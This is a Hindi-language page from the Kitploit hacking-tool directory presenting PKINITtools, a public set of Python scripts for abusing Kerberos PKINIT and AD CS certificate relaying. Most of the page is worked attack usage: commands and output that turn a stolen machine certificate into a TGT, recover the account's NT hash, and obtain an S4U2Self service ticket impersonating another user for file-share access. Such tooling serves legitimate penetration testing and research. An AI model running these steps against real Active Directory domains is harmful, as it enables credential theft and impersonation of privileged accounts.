Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
PKINITtools — Kerberos PKINIT और AD CS से रिले करने के लिए उपकरण | Kitploit
उपकरण/GitHubGitHub/dirkjanm/pkinittools
शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरण
GitHubdirkjanm/pkinittools

PKINITtools

Kerberos PKINIT और AD CS से रिले करने के लिए उपकरण

रिपॉजिटरी देखें
9221071 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PKINIT उपकरण

इस रिपॉजिटरी में PKINIT और प्रमाणपत्रों के साथ खेलने के लिए कुछ उपयोगिताएँ हैं।
ये उपकरण minikerberos और impacket पर निर्मित हैं। अधिक संदर्भ के लिए सहायक ब्लॉगपोस्ट: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

स्थापना

ये उपकरण केवल Python 3.5+ के साथ संगत हैं। GitHub से रिपॉजिटरी क्लोन करें, निर्भरताएँ स्थापित करें और आप उपयोग करने के लिए तैयार हैं:

root@kitploit:~
git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

इसके लिए virtualenv का उपयोग अनुशंसित है।

उपकरण

gettgtpkinit.py

PFX फ़ाइल का उपयोग करके TGT का अनुरोध करें, चाहे वह फ़ाइल के रूप में हो या base64 एन्कोडेड ब्लॉब के रूप में, या cert+key के लिए PEM फ़ाइलों के रूप में। यह Kerberos PKINIT का उपयोग करता है और निर्दिष्ट ccache में TGT आउटपुट करेगा। यह AS-REP एन्क्रिप्शन कुंजी भी प्रिंट करेगा जिसकी आपको getnthash.py टूल के लिए आवश्यकता हो सकती है। उपयोग उदाहरण:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
                       domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
  domain/username     Domain and username in the cert
  ccache              ccache file to store the TGT in

optional arguments:
  -h, --help          show this help message and exit
  -cert-pfx file      PFX file
  -pfx-pass password  PFX file password
  -pfx-base64 BASE64  PFX file as base64 string
  -cert-pem file      Certificate in PEM format
  -key-pem file       Private key file in PEM format
  -dc-ip DC_IP        DC IP or hostname to use as KDC
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO     Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO     Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO     AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO     5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO     Saved TGT to file

getnthash.py

अपने लिए TGS अनुरोध सबमिट करने के लिए Kerberos U2U का उपयोग करें। इसमें PAC शामिल होगा जिसमें NT हैश होता है जिसे आप अपने विशिष्ट TGT के लिए उपयोग किए गए AS-REP कुंजी से डिक्रिप्ट कर सकते हैं। यह वास्तव में जादू है। इस टूल के लिए आवश्यक है कि PKINIT से प्राप्त TGT आपके KRB5CCNAME एनवी वेरिएबल में हो। उपयोग:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
  identity           domain/username

optional arguments:
  -h, --help         show this help message and exit
  -key KEY           AS REP key from gettgtpkinit.py
  -dc-ip ip address  IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
  -debug             Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

एक सेवा टिकट का अनुरोध करने के लिए Kerberos S4U2Self का उपयोग करता है जो उस होस्ट पर मान्य है जिसके लिए आपने प्रमाणपत्र प्राप्त किया है। फिर इस टिकट का उपयोग मूल होस्ट के साथ इंटरैक्ट करने के लिए किया जा सकता है। इसके लिए केवल इस होस्ट के मशीन खाते के लिए TGT की आवश्यकता है। यह TGT आपके द्वारा kerberos_connection_url में निर्दिष्ट ccache फ़ाइल में होना चाहिए। इस उदाहरण के लिए केवल स्वीकृत kerberos_connection_url वह है जिसमें ccache फ़ाइल हो, उदाहरण के लिए kerberos+ccache://domain.local\\victimhostname\$:[email protected]। SPN उस होस्ट पर एक सेवा नाम होना चाहिए जिसका आप प्रतिरूपण कर रहे हैं, आप इसका उपयोग प्रतिनिधिमंडल हमलों के लिए नहीं कर सकते (क्योंकि यह S4U2Proxy को लागू नहीं करता है, इसके लिए पहले से ही कई उपकरण मौजूद हैं)। उपयोग:

root@kitploit:~
(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
  kerberos_connection_url
                        the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
  spn                   the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a
                        TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
  targetuser
  ccache                ccache file to store the TGT ticket in

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO     Trying to get SPN with [email protected] for cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO     Success!
2021-07-28 10:09:13,696 minikerberos INFO     Done!

लाइसेंस

MIT

श्रेय

  • SkelSec के लिए minikerberos
  • Alberto Solino और SecureAuthCorp की टीम के लिए impacket
  • Mor Rubin उनके Python में पहले PKINIT कार्यान्वयन के लिए AzureADJoinedMachinePTC के भाग के रूप में
  • Benjamin Delpy द्वारा इन चीजों को kekeo में लागू करने के लिए
टूल डाउनलोड करें